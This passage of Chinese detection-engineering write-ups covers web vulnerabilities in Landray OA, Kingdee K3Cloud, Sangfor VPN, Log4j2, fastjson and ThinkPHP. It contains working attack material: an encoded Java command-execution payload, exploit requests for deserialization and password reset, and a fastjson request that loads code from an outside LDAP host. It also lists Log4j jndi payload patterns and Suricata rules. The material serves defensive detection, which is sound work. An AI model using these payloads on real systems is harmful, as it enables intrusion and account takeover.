u0065\u0071\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0022\u0043\u006d\u0064\u0022\u007d\u0029\u003b\u0069\u0066\u0020\u0028\u0073\u0074\u0072\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0020\u0026\u0026\u0020\u0021\u0073\u0074\u0072\u002e\u0069\u0073\u0045\u006d\u0070\u0074\u0079\u0028\u0029\u0029\u0020\u007b\u0020\u0072\u0065\u0073\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0073\u0065\u0074\u0053\u0074\u0061\u0074\u0075\u0073\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0069\u006e\u0074\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0073\u0070\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u006e\u0065\u0077\u0020\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0032\u0030\u0030\u0029\u007d\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u0020\u0063\u006d\u0064\u0073\u0020\u003d\u0020\u0053\u0079\u0073\u0074\u0065\u006d\u002e\u0067\u0065\u0074\u0050\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0028\u0022\u006f\u0073\u002e\u006e\u0061\u006d\u0065\u0022\u0029\u002e\u0074\u006f\u004c\u006f\u0077\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u002e\u0063\u006f\u006e\u0074\u0061\u0069\u006e\u0073\u0028\u0022\u0077\u0069\u006e\u0064\u006f\u0077\u0022\u0029\u0020\u003f\u0020\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u007b\u0022\u0063\u006d\u0064\u002e\u0065\u0078\u0065\u0022\u002c\u0020\u0022\u002f\u0063\u0022\u002c\u0020\u0073\u0074\u0072\u007d\u0020\u003a\u0020\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u007b\u0022\u002f\u0062\u0069\u006e\u002f\u0073\u0068\u0022\u002c\u0020\u0022\u002d\u0063\u0022\u002c\u0020\u0073\u0074\u0072\u007d\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0020\u003d\u0020\u0053\u0079\u0073\u0074\u0065\u006d\u002e\u0067\u0065\u0074\u0050\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0028\u0022\u006f\u0073\u002e\u006e\u0061\u006d\u0065\u0022\u0029\u002e\u0074\u006f\u004c\u006f\u0077\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u002e\u0063\u006f\u006e\u0074\u0061\u0069\u006e\u0073\u0028\u0022\u0077\u0069\u006e\u0064\u006f\u0077\u0022\u0029\u0020\u003f\u0020\u0022\u0047\u0042\u004b\u0022\u003a\u0022\u0055\u0054\u0046\u002d\u0038\u0022\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0074\u0065\u0078\u0074\u0032\u0020\u003d\u0028\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0053\u0063\u0061\u006e\u006e\u0065\u0072\u0028\u0028\u006e\u0065\u0077\u0020\u0050\u0072\u006f\u0063\u0065\u0073\u0073\u0042\u0075\u0069\u006c\u0064\u0065\u0072\u0028\u0063\u006d\u0064\u0073\u0029\u0029\u002e\u0073\u0074\u0061\u0072\u0074\u0028\u0029\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u002c\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0029\u0029\u002e\u0075\u0073\u0065\u0044\u0065\u006c\u0069\u006d\u0069\u0074\u0065\u0072\u0028\u0022\u005c\u005c\u0041\u0022\u0029\u002e\u006e\u0065\u0078\u0074\u0028\u0029\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0029\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0072\u0065\u0073\u0075\u006c\u0074\u003d\u0028\u0022\u0045\u0078\u0065\u0063\u0075\u0074\u0065\u003a\u0020\u0020\u0020\u0020\u0022\u002b\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0074\u0065\u0078\u0074\u0032\u002c\u0022\u0075\u0074\u0066\u002d\u0038\u0022\u0029\u0029\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0029\u003b\u0074\u0072\u0079\u0020\u007b\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0063\u006c\u0073\u0020\u003d\u0020\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0074\u006f\u006d\u0063\u0061\u0074\u002e\u0075\u0074\u0069\u006c\u002e\u0062\u0075\u0066\u002e\u0042\u0079\u0074\u0065\u0043\u0068\u0075\u006e\u006b\u0022\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0063\u006c\u0073\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0063\u006c\u0073\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0073\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u002c\u0020\u0069\u006e\u0074\u002e\u0063\u006c\u0061\u0073\u0073\u002c\u0020\u0069\u006e\u0074\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006f\u0062\u006a\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0072\u0065\u0073\u0075\u006c\u0074\u002c\u0020\u006e\u0065\u0077\u0020\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0030\u0029\u002c\u0020\u006e\u0065\u0077\u0020\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0072\u0065\u0073\u0075\u006c\u0074\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u007d\u0029\u003b\u0072\u0065\u0073\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u006f\u0057\u0072\u0069\u0074\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0063\u006c\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0073\u0070\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u006f\u0062\u006a\u007d\u0029\u003b\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u004e\u006f\u0053\u0075\u0063\u0068\u004d\u0065\u0074\u0068\u006f\u0064\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0076\u0061\u0072\u0035\u0029\u0020\u007b\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0063\u006c\u0073\u0020\u003d\u0020\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006a\u0061\u0076\u0061\u002e\u006e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0022\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0063\u006c\u0073\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0077\u0072\u0061\u0070\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0063\u006c\u0073\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0072\u0065\u0073\u0075\u006c\u0074\u007d\u0029\u003b\u0072\u0065\u0073\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u006f\u0057\u0072\u0069\u0074\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0063\u006c\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0073\u0070\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u006f\u0062\u006a\u007d\u0029\u003b\u0020\u007d\u0066\u006c\u0061\u0067\u0020\u003d\u0020\u0074\u0072\u0075\u0065\u003b\u0020\u007d\u0069\u0066\u0020\u0028\u0066\u006c\u0061\u0067\u0029\u0020\u007b\u0020\u0062\u0072\u0065\u0061\u006b\u003b\u0020\u007d\u0020\u007d\u0069\u0066\u0020\u0028\u0066\u006c\u0061\u0067\u0029\u0020\u007b\u0020\u0062\u0072\u0065\u0061\u006b\u003b\u0020\u007d\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u0020\u007d ``` ![sysSearchMain.do远程命令执行漏洞](https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/images/202205201424940.png?raw=true) ## 研判分析 结合请求方法POST,请求路径/sys/ui/extend/varkind/custom.jsp,及请求内容body中的命令参数进行分析,响应状态码200,响应内容和请求内容结合分析。 ## 参考链接 Awesome-POC 蓝凌(Landray)OA漏洞常见RCE ================================================ FILE: Web/2023/other/金蝶K3Cloud反序列化.md ================================================ # 金蝶 K3Cloud 反序列化漏洞------------- ## 漏洞描述------------- 由于金蝶云星空能够使用format参数指定数据格式为二进制,攻击者可以 通过发送由BinaryFormatter恶意序列化后的数据让服务端进行危险的BinaryFormatter反序列化操作。反序列化过程中没有对数据进行签名或校验,导致攻击者可以在未授权状态下进行服务器远程代码执行。------------- ## 影响范围------------- - 金蝶云星空<6.2.1012.4 - 7.0.352.16<金蝶云星空<7.7.0.202111 - 8.0.0.202205<金蝶云星空<8.1.0.20221110------------- ## 漏洞复现------------- 漏洞原理:由于金蝶云星空管理中心在处理序列化数据时,未对数据进行签名或校验,攻击手可以写入包含恶意代码的序列化数据,系统在进行反序列化时造成远程命令执行,该“管理中心“是提供给管理员使用的管理端,默认开放于8000端口。------------- 漏洞利用POC:------------- ``` POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessO bjectData.common.kdsvc HTTP/1.1 Host: 127.0.0.1 User-Agent: firefox Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i mage/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q= 0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 sec-ch-ua-platform: "Windows" sec-ch-ua: "Google Chrome";v="111", "Chromium";v="111", "Not=A?Brand";v="2 4" sec-ch-ua-mobile: ?0 Content-Type: text/json Content-Length: 5725------------- ap0=paylod&format=3------------- ``` - ------------ paylod需要进⾏⼀次url编码。------------- 漏洞利用POC2绕过:------------- ``` POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessO bjectData.common.kdsvc HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 11.0; WOW64; x64) AppleWebKit/537.36 ( KHTML, like Gecko) Chrome/111.0.5520.225 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i mage/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q= 0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 sec-ch-ua-platform: "Windows" sec-ch-ua: "Google Chrome";v="111", "Chromium";v="111", "Not=A?Brand";v="2 4" sec-ch-ua-mobile: ?0 Content-Type: text/json Content-Length: 2416------------- { "ap0": "<_x003C_Data_x003E_k__BackingField z:Id=\"2\">{BinaryPaylad}", "format": "4" }------------- ``` - ------------ *其中ap0中替换为ysoserial.exe中生成的内容,通常情况下为200响应。*------------- ## 研判分析------------- - 请求方法POST - 请求路径:/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc - 请求内容ap0中的内容 - 响应状态码200及内容------------- ## 参考链接------------- ⾦蝶K3Cloud反序列化分析及利⽤------------- ------------- 金蝶云星空 反序列化远程代码执行漏洞 附检测POC------------- ------------- 金蝶云星空反序列化远程代码执行漏洞复现------------- ================================================ FILE: Web/long time/T1133-001-深信服VPN任意密码重置.md ================================================ # T1133-001-深信服VPN任意密码重置 ## 来自ATT&CK的描述 攻击者可能会利用面向外部的VPN服务来实现最初访问或网络内持久化。VPN服务使用户可以从外部位置连接到内部企业网络资源。 通常需要有效帐户才能使用该服务,这可以通过凭据篡改或在攻陷企业网络之后从用户那里获取凭据来获得。(引自:Volexity Virtual Private Keylogging) 在攻击者的操作过程中,对远程服务的访问可用作冗余或持久访问机制。 ## 测试案例 已知影响范围M7.6.6R1、M7.6.1 ## 检测日志 HTTP ## 测试复现 M7.6.6R1 key 为20181118 M7.6.1 key 为 20100720 ## 测试留痕 ``` yml POST /por/changepwd.csp HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 X-Forwarded-For: 8.8.8.8 Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 53 sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR_LEN ``` ## 检测规则/思路 ### Suricata规则 ``` s alert http any any -> any any (msg:"深信服VPN任意密码重置";flow:established,to_server;content:"POST";http_method;content:"/por/changepwd.csp";http_uri;content:"sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR_LEN";http_client_body;reference:url,www.hacking8.com;classtype:web-application-attck;sid:3002012;rev:1;) ``` ### 建议 流量+安全设备比较容易检测到此攻击行为。 ## 参考推荐 MITRE-ATT&CK-T1133-001 ================================================ FILE: Web/long time/T1190- Apache Log4j2漏洞利用检测.md ================================================ # T1190- Apache Log4j2漏洞利用检测 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## Apache Log4j2漏洞 2021年12月,Apache开源组件Log4j(Apache Log4j2是一款优秀的Java日志框架。)被发现两个相关漏洞,分别为任意代码执行漏洞和拒绝服务攻击漏洞,攻击者可以通过构造特殊的请求进行任意代码执行,以达到控制服务器的目的,或者通过构造特殊的请求进行DoS攻击,以达到影响服务器正常运行的目的,影响面十分广泛。 影响范围:Apache Log4j 2.x < 2.15.0-rc2 ## 测试案例 网络上已经公开的利用方法比较多,这里不再添加相关案例信息,可自行查找。 ## 检测日志 HTTP流量 ## 测试复现 无 ## 测试留痕 HTTP流量检测规则基于payload关键词进行检测 ## 检测规则/思路 ### Splunk检测规则 ``` yml ((cs-User-Agent="*$${jndi:ldap:/*" OR cs-User-Agent="*$${jndi:rmi:/*" OR cs-User-Agent="*$${jndi:ldaps:/*" OR cs-User-Agent="*$${jndi:dns:/*" OR cs-User-Agent="*/$$%7bjndi:*" OR cs-User-Agent="*%24%7bjndi:*" OR cs-User-Agent="*$$%7Bjndi:*" OR cs-User-Agent="*%2524%257Bjndi*" OR cs-User-Agent="*%2F%252524%25257Bjndi%3A*" OR cs-User-Agent="*$${jndi:$${lower:*" OR cs-User-Agent="*$${::-j}$${*" OR cs-User-Agent="*$${jndi:nis*" OR cs-User-Agent="*$${jndi:nds*" OR cs-User-Agent="*$${jndi:corba*" OR cs-User-Agent="*$${jndi:iiop*" OR cs-User-Agent="*$${$${env:BARFOO:-j}*" OR cs-User-Agent="*$${::-l}$${::-d}$${::-a}$${::-p}*" OR cs-User-Agent="*$${base64:JHtqbmRp*") (user-agent="*$${jndi:ldap:/*" OR user-agent="*$${jndi:rmi:/*" OR user-agent="*$${jndi:ldaps:/*" OR user-agent="*$${jndi:dns:/*" OR user-agent="*/$$%7bjndi:*" OR user-agent="*%24%7bjndi:*" OR user-agent="*$$%7Bjndi:*" OR user-agent="*%2524%257Bjndi*" OR user-agent="*%2F%252524%25257Bjndi%3A*" OR user-agent="*$${jndi:$${lower:*" OR user-agent="*$${::-j}$${*" OR user-agent="*$${jndi:nis*" OR user-agent="*$${jndi:nds*" OR user-agent="*$${jndi:corba*" OR user-agent="*$${jndi:iiop*" OR user-agent="*$${$${env:BARFOO:-j}*" OR user-agent="*$${::-l}$${::-d}$${::-a}$${::-p}*" OR user-agent="*$${base64:JHtqbmRp*") (cs-uri="*$${jndi:ldap:/*" OR cs-uri="*$${jndi:rmi:/*" OR cs-uri="*$${jndi:ldaps:/*" OR cs-uri="*$${jndi:dns:/*" OR cs-uri="*/$$%7bjndi:*" OR cs-uri="*%24%7bjndi:*" OR cs-uri="*$$%7Bjndi:*" OR cs-uri="*%2524%257Bjndi*" OR cs-uri="*%2F%252524%25257Bjndi%3A*" OR cs-uri="*$${jndi:$${lower:*" OR cs-uri="*$${::-j}$${*" OR cs-uri="*$${jndi:nis*" OR cs-uri="*$${jndi:nds*" OR cs-uri="*$${jndi:corba*" OR cs-uri="*$${jndi:iiop*" OR cs-uri="*$${$${env:BARFOO:-j}*" OR cs-uri="*$${::-l}$${::-d}$${::-a}$${::-p}*" OR cs-uri="*$${base64:JHtqbmRp*") (cs-referrer="*$${jndi:ldap:/*" OR cs-referrer="*$${jndi:rmi:/*" OR cs-referrer="*$${jndi:ldaps:/*" OR cs-referrer="*$${jndi:dns:/*" OR cs-referrer="*/$$%7bjndi:*" OR cs-referrer="*%24%7bjndi:*" OR cs-referrer="*$$%7Bjndi:*" OR cs-referrer="*%2524%257Bjndi*" OR cs-referrer="*%2F%252524%25257Bjndi%3A*" OR cs-referrer="*$${jndi:$${lower:*" OR cs-referrer="*$${::-j}$${*" OR cs-referrer="*$${jndi:nis*" OR cs-referrer="*$${jndi:nds*" OR cs-referrer="*$${jndi:corba*" OR cs-referrer="*$${jndi:iiop*" OR cs-referrer="*$${$${env:BARFOO:-j}*" OR cs-referrer="*$${::-l}$${::-d}$${::-a}$${::-p}*" OR cs-referrer="*$${base64:JHtqbmRp*")) ``` ### Elastic search检测规则 ``` yml (cs-User-Agent:(*$\{jndi\:ldap\:\/* OR *$\{jndi\:rmi\:\/* OR *$\{jndi\:ldaps\:\/* OR *$\{jndi\:dns\:\/* OR *\/$%7bjndi\:* OR *%24%7bjndi\:* OR *$%7Bjndi\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\{jndi\:$\{lower\:* OR *$\{\:\:\-j\}$\{* OR *$\{jndi\:nis* OR *$\{jndi\:nds* OR *$\{jndi\:corba* OR *$\{jndi\:iiop* OR *$\{$\{env\:BARFOO\:\-j\}* OR *$\{\:\:\-l\}$\{\:\:\-d\}$\{\:\:\-a\}$\{\:\:\-p\}* OR *$\{base64\:JHtqbmRp*) AND user_agent.original:(*$\{jndi\:ldap\:\/* OR *$\{jndi\:rmi\:\/* OR *$\{jndi\:ldaps\:\/* OR *$\{jndi\:dns\:\/* OR *\/$%7bjndi\:* OR *%24%7bjndi\:* OR *$%7Bjndi\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\{jndi\:$\{lower\:* OR *$\{\:\:\-j\}$\{* OR *$\{jndi\:nis* OR *$\{jndi\:nds* OR *$\{jndi\:corba* OR *$\{jndi\:iiop* OR *$\{$\{env\:BARFOO\:\-j\}* OR *$\{\:\:\-l\}$\{\:\:\-d\}$\{\:\:\-a\}$\{\:\:\-p\}* OR *$\{base64\:JHtqbmRp*) AND cs-uri:(*$\{jndi\:ldap\:\/* OR *$\{jndi\:rmi\:\/* OR *$\{jndi\:ldaps\:\/* OR *$\{jndi\:dns\:\/* OR *\/$%7bjndi\:* OR *%24%7bjndi\:* OR *$%7Bjndi\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\{jndi\:$\{lower\:* OR *$\{\:\:\-j\}$\{* OR *$\{jndi\:nis* OR *$\{jndi\:nds* OR *$\{jndi\:corba* OR *$\{jndi\:iiop* OR *$\{$\{env\:BARFOO\:\-j\}* OR *$\{\:\:\-l\}$\{\:\:\-d\}$\{\:\:\-a\}$\{\:\:\-p\}* OR *$\{base64\:JHtqbmRp*) AND http.request.referrer:(*$\{jndi\:ldap\:\/* OR *$\{jndi\:rmi\:\/* OR *$\{jndi\:ldaps\:\/* OR *$\{jndi\:dns\:\/* OR *\/$%7bjndi\:* OR *%24%7bjndi\:* OR *$%7Bjndi\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\{jndi\:$\{lower\:* OR *$\{\:\:\-j\}$\{* OR *$\{jndi\:nis* OR *$\{jndi\:nds* OR *$\{jndi\:corba* OR *$\{jndi\:iiop* OR *$\{$\{env\:BARFOO\:\-j\}* OR *$\{\:\:\-l\}$\{\:\:\-d\}$\{\:\:\-a\}$\{\:\:\-p\}* OR *$\{base64\:JHtqbmRp*)) ``` ### Zeek检测规则 ``` yml (event.dataset:"zeek.http" AND cs-User-Agent:(*$\{jndi\:ldap\:\/* OR *$\{jndi\:rmi\:\/* OR *$\{jndi\:ldaps\:\/* OR *$\{jndi\:dns\:\/* OR *\/$%7bjndi\:* OR *%24%7bjndi\:* OR *$%7Bjndi\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\{jndi\:$\{lower\:* OR *$\{\:\:\-j\}$\{* OR *$\{jndi\:nis* OR *$\{jndi\:nds* OR *$\{jndi\:corba* OR *$\{jndi\:iiop* OR *$\{$\{env\:BARFOO\:\-j\}* OR *$\{\:\:\-l\}$\{\:\:\-d\}$\{\:\:\-a\}$\{\:\:\-p\}* OR *$\{base64\:JHtqbmRp*) AND user_agent.original:(*$\{jndi\:ldap\:\/* OR *$\{jndi\:rmi\:\/* OR *$\{jndi\:ldaps\:\/* OR *$\{jndi\:dns\:\/* OR *\/$%7bjndi\:* OR *%24%7bjndi\:* OR *$%7Bjndi\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\{jndi\:$\{lower\:* OR *$\{\:\:\-j\}$\{* OR *$\{jndi\:nis* OR *$\{jndi\:nds* OR *$\{jndi\:corba* OR *$\{jndi\:iiop* OR *$\{$\{env\:BARFOO\:\-j\}* OR *$\{\:\:\-l\}$\{\:\:\-d\}$\{\:\:\-a\}$\{\:\:\-p\}* OR *$\{base64\:JHtqbmRp*) AND url.original:(*$\{jndi\:ldap\:\/* OR *$\{jndi\:rmi\:\/* OR *$\{jndi\:ldaps\:\/* OR *$\{jndi\:dns\:\/* OR *\/$%7bjndi\:* OR *%24%7bjndi\:* OR *$%7Bjndi\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\{jndi\:$\{lower\:* OR *$\{\:\:\-j\}$\{* OR *$\{jndi\:nis* OR *$\{jndi\:nds* OR *$\{jndi\:corba* OR *$\{jndi\:iiop* OR *$\{$\{env\:BARFOO\:\-j\}* OR *$\{\:\:\-l\}$\{\:\:\-d\}$\{\:\:\-a\}$\{\:\:\-p\}* OR *$\{base64\:JHtqbmRp*) AND http.request.referrer:(*$\{jndi\:ldap\:\/* OR *$\{jndi\:rmi\:\/* OR *$\{jndi\:ldaps\:\/* OR *$\{jndi\:dns\:\/* OR *\/$%7bjndi\:* OR *%24%7bjndi\:* OR *$%7Bjndi\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\{jndi\:$\{lower\:* OR *$\{\:\:\-j\}$\{* OR *$\{jndi\:nis* OR *$\{jndi\:nds* OR *$\{jndi\:corba* OR *$\{jndi\:iiop* OR *$\{$\{env\:BARFOO\:\-j\}* OR *$\{\:\:\-l\}$\{\:\:\-d\}$\{\:\:\-a\}$\{\:\:\-p\}* OR *$\{base64\:JHtqbmRp*)) ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1190 Apache Log4j2漏洞利用检测 Log4j漏洞分析 ================================================ FILE: Web/long time/T1190-CNVD-2017-02833-fastjson1.2.24远程代码执行.md ================================================ # T1190-CNVD-2017-02833-fastjson1.2.24远程代码执行 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。详细的原理分析: 影响版本:Fastjson1.2.24以及之前的所有版本 ## 检测日志 HTTP ## 测试复现 具体测试过程请参考: ``` yml POST / HTTP/1.1 Host: 172.17.41.103:27760 Accept: */* User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/json;charset=UTF-8 Content-Length: 163 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://172.17.42.24:9999/TouchFile", "autoCommit":true } } ``` ## 检测规则/思路 ### Suricata规则 ``` s alert http any any -> any any (msg:"CNVD-2017-02833-fastjson1.2.24远程代码执行漏洞";flow:established,to_server;content:"POST";http_method;content:"com.sun.rowset.JdbcRowSetImpl";http_client_body;reference:url,jishuin.proginn.com/p/763bfbd290cf;classtype:web-application-attck;sid:3002021;rev:1;) ``` ### 建议 流量+安全设备比较容易检测到此攻击行为。 ## 参考推荐 MITRE-ATT&CK-T1190 Fastjson‐CNVD‐2017‐02833 Fastjson<1.2.24远程代码执行(CNVD-2017-02833) Fastjson系列漏洞实战和总结 ================================================ FILE: Web/long time/T1190-CNVD-2018-24942-thinkphp5.x任意代码执行漏洞.md ================================================ # T1190-CNVD-2018-24942-thinkphp5.x任意代码执行漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 ThinkPHP 